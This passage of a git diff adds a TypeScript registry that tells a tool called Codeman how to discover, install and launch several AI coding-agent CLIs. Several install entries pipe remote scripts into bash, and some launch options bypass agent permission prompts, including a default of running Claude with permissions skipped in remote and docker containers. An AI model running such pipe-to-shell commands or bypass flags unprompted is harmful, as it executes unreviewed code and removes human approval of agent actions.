'double', + when: { + allOf: [ + { param: 'claudeMode', is: 'allowedTools' }, + { param: 'allowedTools', state: 'set' }, + ], + }, + }, + { flag: '--session-id', valueFrom: 'sessionId', quote: 'double' }, + { flag: '--model', valueFrom: 'model', quote: 'double', when: { param: 'model', state: 'set' } }, + { flag: '--effort', valueFrom: 'effortLevel', quote: 'single', when: { param: 'effortLevel', state: 'set' } }, + { flag: '--settings', valueFrom: 'effortJson', quote: 'single', when: { param: 'effortJson', state: 'set' } }, + { flag: '--name', valueFrom: 'sessionName', quote: 'double', when: { capabilityGate: 'nameFlag' } }, + ], + }, + ], + // Claude has no `Config` object of its own — the bridge synthesizes one from its + // discrete top-level spawn fields, under their EXISTING field name `resumeSessionId`. + legacyConfigAliases: { resumeId: 'resumeSessionId' }, + }, + env: { + exports: [], + unset: ['CLAUDECODE', 'COLORTERM'], + tmuxSetenvKeys: [], + dockerExecEnvNames: [], + allowedPrefixes: ['CLAUDE_CODE_'], + allowedKeys: ['CLAUDE_CONFIG_DIR'], + }, + capabilities: { + external: false, + requiresMux: false, + // Claude installs Codeman's own hooks block into every workspace it runs in, so its + // stop/idle signals are unconditional — no per-session veto, unlike deepseek's bridge. + hooks: 'always', + transcript: 'claude-jsonl', + altScreen: 'strip-full', + echo: { policy: 'buffer', anchor: { kind: 'glyph', glyph: '❯', offset: 2 } }, + wheelForward: { mode: 'version-gated', minVersion: '2.1.187' }, + keyboardAccessory: 'agent', + privilegedCommandGate: false, + startMode: 'interactive', + stripInkBloat: true, + ralph: true, + respawn: true, + effort: true, + agentSkillInjection: true, + statusLineTelemetry: true, + model: { source: 'claude-settings-file' }, + privilegedParams: [], + privilegedEnvKeys: [], + gates: { nameFlag: { minVersion: '2.1.224', failClosed: true } }, + }, + overlays: { + // Mirrors the local default so the remote/in-container agent runs non-interactively + // (no trust-folder/permission prompt that nothing on that side can answer). A per-host + // `commands.claude` override, or the docker multi-user clamp, stays the escape hatch. + remote: { command: 'claude --dangerously-skip-permissions' }, + docker: { command: 'claude --dangerously-skip-permissions' }, + // Claude's docker/remote credential handling has its own dedicated code path + // (claudeDockerPaneCommand, artifacts at docker-hosts.ts:537-575) — no generic credStore. + }, +}; + +const SHELL: CliEntry = { + id: 'shell' as CliEntry['id'], + label: 'Shell', + shortBadge: 'SH', + accent: '#6b7280', + enabled: true, + stock: true, + order: 1, + kind: 'shell', + discovery: { + binaries: [], + searchDirs: [], + install: { command: {} }, + }, + launch: { + params: {}, + variants: [{ id: 'shell', args: [] }], // tmux-manager resolves the real login shell in code + }, + env: { + exports: [], + unset: ['COLORTERM'], + tmuxSetenvKeys: [], + dockerExecEnvNames: [], + allowedPrefixes: [], + allowedKeys: [], + }, + capabilities: { + external: false, + requiresMux: false, + // ⚠️ `false` here while `external` is ALSO false is the pairing that matters: a shell + // has no hooks but is not an "external CLI", so a predicate derived from `external` + // once accepted `until=stop` on a shell session and hung for the full timeout. + hooks: 'none', + transcript: 'none', + altScreen: 'preserve', + echo: { policy: 'off', anchor: { kind: 'none' } }, + wheelForward: { mode: 'never' }, + keyboardAccessory: 'shell', + privilegedCommandGate: true, + startMode: 'shell', + stripInkBloat: false, + ralph: false, + respawn: false, + effort: false, + agentSkillInjection: false, + statusLineTelemetry: false, + model: { source: 'none' }, + privilegedParams: [], + privilegedEnvKeys: [], + gates: {}, + }, + overlays: { + // No `remote` entry: defaultRemoteCommandForMode special-cases kind==='shell' directly + // (an interactive login shell, no `-c ''` wrapping at all). + docker: { disabled: true }, + }, +}; + +const OPENCODE: CliEntry = { + id: 'opencode' as CliEntry['id'], + label: 'OpenCode', + shortBadge: 'OC', + accent: '#f59e0b', + enabled: true, + stock: true, + order: 10, + kind: 'agent', + discovery: { + binaries: ['opencode'], + searchDirs: [ + '~/.opencode/bin', + HOME_DIRS.local, + HOME_DIRS.usrLocal, + '~/go/bin', + HOME_DIRS.bunBin, + HOME_DIRS.npmGlobal, + HOME_DIRS.homeBin, + ], + version: { arg: '--version', regex: '(\\d+\\.\\d+\\.\\d+)' }, + install: { + command: { + linux: 'curl -fsSL https://opencode.ai/install | bash', + darwin: 'curl -fsSL https://opencode.ai/install | bash', + }, + npmPackage: 'opencode-ai', + docsUrl: 'https://opencode.ai/docs', + }, + }, + launch: { + params: { + model: { type: 'token', pattern: 'model' }, + resumeId: { type: 'token', pattern: 'id' }, + forkSession: { type: 'bool' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'opencode' }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { flag: '--session', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + { + flag: '--fork', + when: { + allOf: [ + { param: 'resumeId', state: 'set' }, + { param: 'forkSession', is: true }, + ], + }, + }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'continueSession' }, + legacyConfigField: 'openCodeConfig', + }, + env: { + exports: [], + unset: ['COLORTERM'], + tmuxSetenvKeys: ['ANTHROPIC_API_KEY', 'OPENAI_API_KEY', 'GOOGLE_API_KEY'], + dockerExecEnvNames: [], + allowedPrefixes: ['OPENCODE_'], + allowedKeys: [], + configContentVar: 'OPENCODE_CONFIG_CONTENT', + }, + capabilities: { + ...agentDefaults(), + altScreen: 'strip-mux-only', + echo: { policy: 'buffer', anchor: { kind: 'cursor' }, predictProfile: undefined }, + }, + overlays: { + credStore: { rel: '.config/opencode', seedWhole: true }, + }, +}; + +const CODEX: CliEntry = { + id: 'codex' as CliEntry['id'], + label: 'Codex', + shortBadge: 'CX', + accent: '#6b7fd7', + enabled: true, + stock: true, + order: 20, + kind: 'agent', + discovery: { + binaries: ['codex'], + searchDirs: [ + '~/.codex/bin', + HOME_DIRS.local, + HOME_DIRS.usrLocal, + HOME_DIRS.bunBin, + HOME_DIRS.npmGlobal, + HOME_DIRS.homeBin, + ], + version: { arg: '--version', regex: '(\\d+\\.\\d+\\.\\d+)' }, + install: { + command: { linux: 'npm install -g @openai/codex', darwin: 'npm install -g @openai/codex' }, + npmPackage: '@openai/codex', + docsUrl: 'https://developers.openai.com/codex/cli', + }, + }, + launch: { + params: { + bypassApprovals: { type: 'bool' }, + animations: { type: 'bool' }, + model: { type: 'token', pattern: 'model' }, + resumeId: { type: 'token', pattern: 'id' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'codex' }, + { flag: '--dangerously-bypass-approvals-and-sandbox', when: { param: 'bypassApprovals', is: true } }, + { flag: '--config', value: 'tui.animations=true', when: { param: 'animations', is: true } }, + { flag: '--config', value: 'tui.animations=false', when: { param: 'animations', is: false } }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { lit: 'resume', when: { param: 'resumeId', state: 'set' } }, + { valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + ], + }, + ], + legacyConfigAliases: { bypassApprovals: 'dangerouslyBypassApprovals', resumeId: 'resumeSessionId' }, + legacyConfigField: 'codexConfig', + resumeAppend: { style: 'positional', token: 'resume' }, + }, + env: { + exports: [ + { name: 'COLORTERM', value: 'truecolor' }, + { name: 'CODEX_INTERNAL_ORIGINATOR_OVERRIDE', value: { engine: 'codemanPrefixedSessionId' } }, + ], + unset: ['NO_COLOR'], + tmuxSetenvKeys: ['OPENAI_API_KEY', 'CODEX_API_KEY', 'CODEX_HOME'], + dockerExecEnvNames: ['OPENAI_API_KEY', 'CODEX_API_KEY'], + allowedPrefixes: ['CODEX_'], + allowedKeys: [], + }, + capabilities: { + ...agentDefaults(), + transcript: 'codex-rollout', + altScreen: 'strip-full', + echo: { policy: 'predict', anchor: { kind: 'cursor' }, predictProfile: 'codex' }, + wheelForward: { mode: 'never' }, // #227: codex ignores SGR wheel reports, never forward + maxFrameBytes: 32 * 1024, + // codex's own bare-spawn default (no config sent) is already safe (no bypass flag), so + // the multi-user clamp only needs to force an EXPLICITLY-SENT bypass back off. + privilegedParams: [{ param: 'dangerouslyBypassApprovals', clampTo: false }], + }, + overlays: { + credStore: { + rel: '.codex', + shareDirs: ['sessions'], + shareFiles: ['history.jsonl'], + seedFiles: ['auth.json', 'config.toml'], + }, + }, +}; + +const GEMINI: CliEntry = { + id: 'gemini' as CliEntry['id'], + label: 'Gemini', + shortBadge: 'GM', + accent: '#4285f4', + enabled: true, + stock: true, + order: 30, + kind: 'agent', + discovery: { + binaries: ['gemini'], + searchDirs: [ + '~/.gemini/bin', + HOME_DIRS.local, + HOME_DIRS.usrLocal, + HOME_DIRS.bunBin, + HOME_DIRS.npmGlobal, + HOME_DIRS.homeBin, + ], + version: { arg: '--version', regex: '(\\d+\\.\\d+\\.\\d+)' }, + install: { + command: { linux: 'npm install -g @google/gemini-cli', darwin: 'npm install -g @google/gemini-cli' }, + npmPackage: '@google/gemini-cli', + docsUrl: 'https://github.com/google-gemini/gemini-cli', + }, + }, + launch: { + params: { + approvalMode: { type: 'enum', values: ['default', 'auto_edit', 'yolo', 'plan'], default: 'yolo' }, + model: { type: 'token', pattern: 'model' }, + resumeId: { type: 'token', pattern: 'id-dotted' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'gemini' }, + { flag: '--skip-trust' }, + { flag: '--approval-mode', valueFrom: 'approvalMode' }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { flag: '--resume', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'resumeSession' }, + legacyConfigField: 'geminiConfig', + resumeAppend: { style: 'flag', flag: '--resume' }, + }, + env: { + exports: [{ name: 'COLORTERM', value: 'truecolor' }], + unset: ['NO_COLOR'], + tmuxSetenvKeys: [ + 'GEMINI_API_KEY', + 'GEMINI_MODEL', + 'GOOGLE_API_KEY', + 'GOOGLE_CLOUD_PROJECT', + 'GOOGLE_CLOUD_LOCATION', + 'GOOGLE_APPLICATION_CREDENTIALS', + 'GOOGLE_GENAI_USE_VERTEXAI', + ], + dockerExecEnvNames: ['GEMINI_API_KEY', 'GOOGLE_API_KEY'], + allowedPrefixes: ['GEMINI_', 'GOOGLE_'], + allowedKeys: [], + }, + capabilities: { + ...agentDefaults(), + altScreen: 'strip-full', + echo: { policy: 'buffer', anchor: { kind: 'cursor' } }, + // gemini's builder defaults an ABSENT approvalMode to 'yolo', so the clamp must + // MATERIALIZE a config (not just touch an already-sent one) or a non-granted owner who + // sends no geminiConfig at all would still get yolo for free. + privilegedParams: [{ param: 'approvalMode', clampTo: 'auto_edit', materializeWhenAbsent: true }], + }, + overlays: { + credStore: { rel: '.gemini', seedWhole: true }, // also covers antigravity — see its own entry + }, +}; + +const ANTIGRAVITY: CliEntry = { + id: 'antigravity' as CliEntry['id'], + label: 'Antigravity', + shortBadge: 'AG', + accent: '#8b5cf6', + enabled: true, + stock: true, + order: 40, + kind: 'agent', + discovery: { + // Binary is `agy`, NOT `antigravity` — the mode-name/binary-name split that made + // probeDockerCliVersion wrong before this registry existed. + binaries: ['agy'], + searchDirs: [HOME_DIRS.local, '~/.antigravity/bin', HOME_DIRS.usrLocal, HOME_DIRS.homeBin], + version: { arg: '--version', regex: '(\\d+\\.\\d+\\.\\d+)' }, + install: { + command: { + linux: 'curl -fsSL https://antigravity.google/cli/install.sh | bash', + darwin: 'curl -fsSL https://antigravity.google/cli/install.sh | bash', + }, + docsUrl: 'https://antigravity.google/cli', + }, + }, + launch: { + params: { + dangerouslySkipPermissions: { type: 'bool' }, + model: { type: 'token', pattern: 'model' }, + resumeId: { type: 'token', pattern: 'id-dotted' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'agy' }, + { flag: '--dangerously-skip-permissions', when: { param: 'dangerouslySkipPermissions', is: true } }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { flag: '--conversation', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'resumeConversationId' }, + legacyConfigField: 'antigravityConfig', + resumeAppend: { style: 'flag', flag: '--conversation' }, + }, + env: { + exports: [{ name: 'COLORTERM', value: 'truecolor' }], + unset: ['NO_COLOR'], + tmuxSetenvKeys: [], + dockerExecEnvNames: [], + allowedPrefixes: ['ANTIGRAVITY_'], + allowedKeys: [], + }, + capabilities: { + ...agentDefaults(), + altScreen: 'strip-mux-only', + echo: { policy: 'buffer', anchor: { kind: 'cursor' } }, + // Like codex: an ABSENT config already defaults safe (no bypass flag), so only a + // SENT config needs the flag forced off — nothing is materialized. + privilegedParams: [{ param: 'dangerouslySkipPermissions', clampTo: false }], + }, + overlays: { + // No credStore of its own: agy nests its whole state under ~/.gemini/antigravity-cli/, + // which gemini's seedWhole entry already covers. + }, +}; + +const PI: CliEntry = { + id: 'pi' as CliEntry['id'], + label: 'Pi', + shortBadge: 'PI', + accent: '#10b981', + enabled: true, + stock: true, + order: 50, + kind: 'agent', + discovery: { + binaries: ['pi'], + searchDirs: [HOME_DIRS.local, HOME_DIRS.usrLocal, HOME_DIRS.bunBin, HOME_DIRS.npmGlobal, HOME_DIRS.homeBin], + // pi is a generic binary name (Raspberry Pi tooling, personal scripts), so a `which` + // hit alone is not evidence of the right program — require the version match. + version: { arg: '--version', regex: '(?:^|\\s)(\\d+\\.\\d+\\.\\d+)', requireVersionMatch: true }, + install: { + command: { + linux: 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent', + darwin: 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent', + }, + npmPackage: '@earendil-works/pi-coding-agent', + docsUrl: 'https://pi.dev', + }, + }, + launch: { + params: { + approveProjectTrust: { type: 'bool' }, + model: { type: 'token', pattern: 'model-pi' }, + provider: { type: 'token', pattern: 'slug' }, + thinking: { type: 'enum', values: ['off', 'minimal', 'low', 'medium', 'high', 'xhigh', 'max'] }, + resumeId: { type: 'token', pattern: 'id-dotted' }, + continueSession: { type: 'bool' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'pi' }, + { flag: '--approve', when: { param: 'approveProjectTrust', is: true } }, + { flag: '--no-approve', when: { param: 'approveProjectTrust', is: false } }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { flag: '--provider', valueFrom: 'provider', when: { param: 'provider', state: 'set' } }, + { flag: '--thinking', valueFrom: 'thinking', when: { param: 'thinking', state: 'set' } }, + { flag: '--session', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + { + lit: '-c', + when: { + allOf: [ + { param: 'continueSession', is: true }, + { param: 'resumeId', state: 'unset' }, + ], + }, + }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'resumeSessionId' }, + legacyConfigField: 'piConfig', + resumeAppend: { style: 'flag', flag: '--session' }, + }, + env: { + exports: [{ name: 'COLORTERM', value: 'truecolor' }], + unset: ['NO_COLOR'], + // Pi's ~34 provider keys share no common prefix, so they are deliberately NOT + // allowlisted here — same reasoning as today's PI_ only prefix. Pi users authenticate + // via `/login` or the server process's own env. + tmuxSetenvKeys: [], + dockerExecEnvNames: [], + allowedPrefixes: ['PI_'], + allowedKeys: [], + }, + capabilities: { + ...agentDefaults(), + altScreen: 'preserve', // pi's TUI renders into the main screen with terminal-owned scrollback + echo: { policy: 'buffer', anchor: { kind: 'cursor' } }, + // pi's absent-config default is an interactive trust PROMPT the session user could + // just answer "yes" to, so omitting --approve is not itself a clamp — MATERIALIZE + // approveProjectTrust:false so buildPiCommand emits --no-approve outright. + privilegedParams: [{ param: 'approveProjectTrust', clampTo: false, materializeWhenAbsent: true }], + }, + overlays: { + credStore: { + rel: '.pi/agent', + seedFiles: ['auth.json', 'settings.json', 'trust.json', 'models.json', 'models-store.json'], + }, + }, +}; + +// Grok Build (xAI, `grok`). Transcribed from the hand-written buildGrokCommand into +// registry data; enabled by default, like every other shipped mode. +const GROK: CliEntry = { + id: 'grok' as CliEntry['id'], + label: 'Grok', + shortBadge: 'GK', + // Upstream hand-authored a charcoal GRADIENT across 4+ CSS spots (welcome button, tab + // badge, run-mode dot, mobile skin overrides) rather than one flat colour; our registry's + // `accent` is a single hex, so this is the closest single value (the run-mode-dot colour, + // zinc-400). Nothing reads `accent` yet — the frontend is untouched in this change and + // keeps its own hand-authored CSS; the field is here so the entry is complete. + accent: '#a1a1aa', + enabled: true, + stock: true, + order: 70, + kind: 'agent', + discovery: { + binaries: ['grok'], + searchDirs: ['~/.grok/bin', HOME_DIRS.local, HOME_DIRS.usrLocal, HOME_DIRS.homeBin], + // `grok` has a known npm squatter (@vibe-kit/grok-cli also installs a `grok` bin), so a + // bare `which grok` hit is not evidence of the right program — same defence as pi, + // byte-identical regex. + version: { arg: '--version', regex: '(?:^|\\s)(\\d+\\.\\d+\\.\\d+)', requireVersionMatch: true }, + install: { + command: { + linux: 'curl -fsSL https://x.ai/cli/install.sh | bash', + darwin: 'curl -fsSL https://x.ai/cli/install.sh | bash', + }, + // Not on npm — xAI ships a standalone installer/binary, same shape as Antigravity. + docsUrl: 'https://github.com/xai-org/grok-build', + }, + }, + launch: { + params: { + alwaysApprove: { type: 'bool' }, + model: { type: 'token', pattern: 'model' }, + resumeId: { type: 'token', pattern: 'id-dotted' }, + continueSession: { type: 'bool' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'grok' }, + { flag: '--always-approve', when: { param: 'alwaysApprove', is: true } }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { flag: '--resume', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + { + lit: '--continue', + when: { + allOf: [ + { param: 'continueSession', is: true }, + { param: 'resumeId', state: 'unset' }, + ], + }, + }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'resumeSessionId' }, + legacyConfigField: 'grokConfig', + resumeAppend: { style: 'flag', flag: '--resume' }, + }, + env: { + exports: [{ name: 'COLORTERM', value: 'truecolor' }], + unset: ['NO_COLOR'], + // No tmuxSetenvKeys: XAI_API_KEY (xAI's documented headless auth var) is covered by the + // XAI_ prefix allowlist below, same "rely on the prefix, not an explicit key list" + // reasoning as pi's ~34 provider keys. + tmuxSetenvKeys: [], + dockerExecEnvNames: [], + allowedPrefixes: ['GROK_', 'XAI_'], + allowedKeys: [], + }, + capabilities: { + ...agentDefaults(), + // Fullscreen alt-screen TUI with mouse support — same shape as opencode/antigravity: + // only the tmux-attach-time smcup strip, not Ink's full erase-scrollback+DECSET strip. + altScreen: 'strip-mux-only', + // Buffer-policy fallthrough default, unmeasured against an authenticated grok composer + // (the existing hedge, preserved verbatim) — same as gemini/antigravity/pi. + echo: { policy: 'buffer', anchor: { kind: 'cursor' } }, + // codex/antigravity-shaped clamp: grok's own bare-spawn default (no config sent) is + // already its safe interactive ask-mode, so the multi-user clamp only needs to force an + // EXPLICITLY-SENT bypass flag back off — nothing is materialized when config is absent. + privilegedParams: [{ param: 'alwaysApprove', clampTo: false }], + }, + overlays: { + // ~/.grok also holds sessions/, memory/, downloads/ (the ~160MB binary), completions/, + // docs/, bin/ — per-file seeding like pi's credStore, not a whole-dir seedWhole copy. + credStore: { rel: '.grok', seedFiles: ['auth.json', 'config.toml', 'pager.toml'] }, + // No remote/docker overlay needed: the defaults (exec grok / login-shell `grok`) are + // already correct — verified against upstream's own pinned test/grok-mode.test.ts + // expectation `exec "${SHELL:-/bin/sh}" -i -l -c 'grok'`. + }, +}; + +// DeepSeek Harness (`dsh`, deepseek-ai/deepseek-harness). The awkward one, and worth +// reading before assuming it looks like its siblings — it breaks four of this catalog's +// normal assumptions at once, which is why the schema carries four extensions for it: +// +// 1. `dsh` is a PROFILE LAUNCHER, not the agent. It boots $DSH_HOME/profiles/, and +// DeepSeek ships only `web`/`headless`/`base`, none of which can drive a terminal +// pane — so the terminal front door is ALWAYS third-party and "installed" is not +// "runnable". Hence `discovery.launcherProfile`. +// 2. Its permission switch is the `DSH_PERMISSION_MODE` ENV VAR, not a flag — the +// harness has none. Hence `env.configSetenv` (so the ordinary privilegedParams clamp +// still reaches it) plus `capabilities.privilegedEnvKeys` (so an envOverrides send +// cannot hand the privilege straight back). +// 3. It is the only non-claude mode with real hook signals, and for it alone that is a +// per-SESSION question. Hence `hooks: 'supervised'`. +// 4. Its transcript is zstd session files, one frame per write. Hence +// `transcript: 'deepseek-zstd'`. +// +// The identity probe is the strictest in the catalog for a sharper reason than pi's or +// grok's npm squatters: Debian ships an unrelated `dsh` (dancer's shell, `apt install +// dsh`) that would pass a version probe perfectly happily. +const DEEPSEEK: CliEntry = { + id: 'deepseek' as CliEntry['id'], + label: 'DeepSeek', + shortBadge: 'DS', + accent: '#4d6bfe', + enabled: true, + stock: true, + order: 80, + kind: 'agent', + discovery: { + binaries: ['dsh'], + searchDirs: [HOME_DIRS.local, HOME_DIRS.usrLocal, HOME_DIRS.npmGlobal, HOME_DIRS.homeBin], + // Checked BEFORE the version probe: dancer's shell answers --version happily, so a + // version match alone would accept it. + identity: { arg: '--help', regex: 'DeepSeek\\s+Harness' }, + // Keeps the `-rc.2` prerelease tail — dsh ships them, and the `codeman doctor` row + // shares this regex so the two cannot disagree about what version a binary reports. + version: { + arg: '--version', + regex: '(?:^|\\s)v?(\\d+\\.\\d+\\.\\d+(?:-[0-9A-Za-z][0-9A-Za-z.-]*)?)', + requireVersionMatch: true, + }, + launcherProfile: 'deepseek-profile', + launcherTargetParam: 'profile', + install: { + command: { + linux: 'npm install -g @deepseek-ai/dsh', + darwin: 'npm install -g @deepseek-ai/dsh', + }, + npmPackage: '@deepseek-ai/dsh', + docsUrl: 'https://github.com/deepseek-ai/deepseek-harness', + }, + }, + launch: { + params: { + // A single path segment: interpolated into the shell line AND joined into a + // filesystem path, so `path-segment` rather than the looser `id-dotted`. + profile: { type: 'token', pattern: 'path-segment' }, + // Resolved at spawn time from what is actually installed — see launcherProfile. + defaultProfile: { type: 'engine', source: 'launcherDefaultTarget' }, + resumeId: { type: 'token', pattern: 'id-dotted' }, + resumeSession: { type: 'bool' }, + // Never appears in argv. Declared so `configSetenv` can export it and, more to the + // point, so `privilegedParams` can clamp it — see capabilities below. + permissionMode: { type: 'enum', values: ['read-only', 'workspace-write', 'danger-full-access'] }, + // Never appears in argv either; read by the status-bridge setenv profile. + statusReporting: { type: 'bool' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'dsh' }, + { flag: '--profile', valueFrom: 'profile', when: { param: 'profile', state: 'set' } }, + // An invalid profile name resolves to undefined, so `profile` reads as UNSET and + // this arm takes over — reproducing the hand-written builder's fall back to the + // resolved default rather than failing the spawn outright. + { + flag: '--profile', + valueFrom: 'defaultProfile', + when: { + allOf: [ + { param: 'profile', state: 'unset' }, + { param: 'defaultProfile', state: 'set' }, + ], + }, + }, + // The launcher forwards everything after its own flags to the profile's app, + // which is where --resume is understood. An explicit id wins over the + // most-recent-session form, mirroring the sibling builders. + { flag: '--resume', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + { + flag: '--resume', + when: { + allOf: [ + { param: 'resumeId', state: 'unset' }, + { param: 'resumeSession', is: true }, + ], + }, + }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'resumeSessionId' }, + legacyConfigField: 'deepSeekConfig', + resumeAppend: { style: 'flag', flag: '--resume' }, + }, + env: { + exports: [{ name: 'COLORTERM', value: 'truecolor' }], + unset: ['NO_COLOR'], + // DEEPSEEK_BASE_URL is forwarded from the SERVER's own env alongside the API key, + // which is exactly why a non-granted owner may not override it — see privilegedEnvKeys. + tmuxSetenvKeys: ['DEEPSEEK_API_KEY', 'DEEPSEEK_BASE_URL', 'DSH_HOME'], + dockerExecEnvNames: [], + configSetenv: [{ name: 'DSH_PERMISSION_MODE', fromParam: 'permissionMode' }], + // Only the vendor namespaces. A dsh settings.yaml can nominate ANY env var as a + // provider credential (`apiKeyEnv`), so admitting foreign provider keys here would + // widen one GLOBAL allowlist for every mode at once — the same lesson pi taught. + allowedPrefixes: ['DSH_', 'DEEPSEEK_'], + allowedKeys: [], + setenvProfile: 'deepseek-status-bridge', + }, + capabilities: { + ...agentDefaults(), + // Definitive rather than inferred: the harness TUI reports idle/working/blocked to a + // supervisor and Codeman is that supervisor. 'supervised' rather than 'always' because + // the session can disarm the bridge, and docker/remote cannot reach it at all. + hooks: 'supervised', + transcript: 'deepseek-zstd', + altScreen: 'strip-mux-only', + echo: { policy: 'buffer', anchor: { kind: 'cursor' } }, + // Model is NOT a session field for dsh — it is a profile composition entry. + model: { source: 'none' }, + // Only-if-sent, like codex/antigravity/grok: an ABSENT permissionMode means the + // launcher's own default, `workspace-write`, which already asks. Clamping to + // `read-only` instead would break the workspace rather than protect it. + privilegedParams: [{ param: 'permissionMode', clampTo: 'workspace-write' }], + // The half no other CLI needs. `DSH_*` is an allowlisted envOverrides prefix and + // applyEnvOverrides() runs LAST, so without this a non-granted owner could send + // DSH_PERMISSION_MODE on the same request and land after the config clamp. + privilegedEnvKeys: ['DSH_PERMISSION_MODE', 'DSH_HOME', 'DEEPSEEK_BASE_URL'], + }, + overlays: { + // No credStore: dsh keeps everything under $DSH_HOME (default ~/.dsh), which is + // forwarded as a plain env var above rather than seeded as a credential directory. + }, +}; + +/** The full stock catalog, in the order the run menu shows by default. */ +export const STOCK_CLIS: CliEntry[] = [CLAUDE, SHELL, OPENCODE, CODEX, GEMINI, ANTIGRAVITY, PI, GROK, DEEPSEEK]; diff --git a/src/config/cli-registry/types.ts b/src/config/cli-registry/types.ts new file mode 100644 index 000000000..19be2a77b --- /dev/null +++ b/src/config/cli-registry/types.ts @@ -0,0 +1,487 @@ +/** + * @fileoverview Type definitions for the CLI registry — the single source of truth for + * which agent CLIs Codeman supports and how each one is discovered, launched and treated. + * + * This replaces the hard-coded `SessionMode` union and the ~123 per-mode branches that grew + * out of it. The guiding rule: NO code may branch on a CLI's id. Behaviour that genuinely + * differs between CLIs is expressed either as data here, or as a named PROFILE selected by + * a capability field (see profiles.ts) — never as `mode === 'codex'`. + * + * @module config/cli-registry/types + */ + +import type { TokenPattern } from './patterns.js'; + +/** + * A CLI identifier. Branded so an arbitrary string cannot be passed where a validated id is + * expected; construct with `asCliId()` at the API boundary. + */ +export type CliId = string & { readonly __cliId: unique symbol }; + +// --------------------------------------------------------------------------- +// Launch argv DSL +// --------------------------------------------------------------------------- + +/** Values the ENGINE supplies. Config may reference these by name but never author them. */ +export type EngineValue = + | 'sessionId' + | 'sessionName' + | 'muxName' + | 'effortLevel' + | 'effortSettingsJson' + /** `sessionId` prefixed `codeman_` — codex's unique per-pane rollout originator. */ + | 'codemanPrefixedSessionId' + /** + * For a launcher CLI (`discovery.launcherProfile`), the target to launch when the caller + * named none — deepseek's default `dsh` profile. Resolved at spawn time, never frozen + * into config, because it depends on what is installed on this machine right now. + */ + | 'launcherDefaultTarget'; + +/** + * A declared launch parameter. `token` params carry caller-supplied data and are therefore + * the only ones that need a pattern; `engine` params are produced in code. + */ +export type ParamSpec = + | { type: 'enum'; values: string[]; default?: string } + | { type: 'bool' } + | { type: 'token'; pattern: TokenPattern } + | { type: 'engine'; source: EngineValue }; + +/** A boolean guard over parameter state. */ +export type Cond = + | { param: string; is: string | boolean } + | { param: string; state: 'set' | 'unset' } + | { allOf: Cond[] } + | { anyOf: Cond[] } + | { not: Cond } + /** Names an entry in `capabilities.gates`. Fail-closed gates omit when version is unknown. */ + | { capabilityGate: string }; + +/** + * How a token is quoted when emitted into the bash command string. + * + * This exists ONLY to preserve byte-identical output with the hand-written builders being + * replaced (claude wraps its values in double quotes; the other builders emit bare words). + * It is never a safety lever: `renderToken()` verifies the value is metacharacter-free + * before honouring an explicit style, and falls back to single-quote escaping if it is not. + * So the worst a wrong `quote` can do is make output uglier, never unsafe. + */ +export type QuoteStyle = 'auto' | 'bare' | 'double' | 'single'; + +/** One argv element. */ +export type ArgSpec = + /** A bare literal word, e.g. the base binary or codex's `resume` subcommand. */ + | { lit: string; when?: Cond } + /** A valueless flag, e.g. `--no-approve`. */ + | { flag: string; when?: Cond } + /** A flag with a fixed literal value. */ + | { flag: string; value: string; quote?: QuoteStyle; when?: Cond } + /** A flag whose value comes from a declared param. */ + | { flag: string; valueFrom: string; quote?: QuoteStyle; when?: Cond } + /** A bare positional value from a param, e.g. codex's `resume `. */ + | { valueFrom: string; quote?: QuoteStyle; when?: Cond }; + +/** One alternative command form. */ +export interface CliVariant { + /** Stable name for diagnostics and tests, e.g. 'resume' / 'new'. */ + id: string; + when?: Cond; + args: ArgSpec[]; +} + +export interface CliLaunch { + params: Record; + /** + * 'first' — emit the first variant whose `when` passes (the usual case). + * 'fallback' — emit EVERY passing variant joined by the engine's own ` || `, which is how + * claude's `--resume X || --session-id Y` shell fallback is expressed without + * config ever containing shell text. The engine owns the operator. + */ + chain?: 'first' | 'fallback'; + variants: CliVariant[]; + /** + * Maps a declared param name to the field name it arrives under on the legacy + * `POST /api/sessions` wire shape (`OpenCodeConfig.continueSession`, etc — the per-mode + * config objects predate this registry and stay on the wire for compatibility). A param + * with no entry here is looked up under its own name. This is what lets the spawn-command + * bridge (`session-cli-registry-bridge.ts`) stay generic: it reads the raw legacy config + * object through this DATA-declared alias table instead of a per-mode `if (mode === ...)`. + */ + legacyConfigAliases?: Record; + /** + * The field on the legacy spawn option bag holding this CLI's `Config` object + * (`openCodeConfig`, `codexConfig`, …). Those per-mode objects predate this registry and + * stay on the wire for API compatibility, so SOMETHING has to know which one to read — + * declaring it here as data is what keeps the bridge a generic reader instead of a + * `switch (mode)`. + * + * ABSENT means this CLI's launch fields live at the TOP LEVEL of the option bag rather + * than nested in a config object. That is claude, whose discrete `claudeMode` / + * `allowedTools` / `model` / `resumeSessionId` fields predate the `Config` pattern + * entirely — so "read the option bag itself" is not a special case for it, it is just + * the other shape. + */ + legacyConfigField?: string; + /** + * How to APPEND a resume id onto an already-built base command, for the 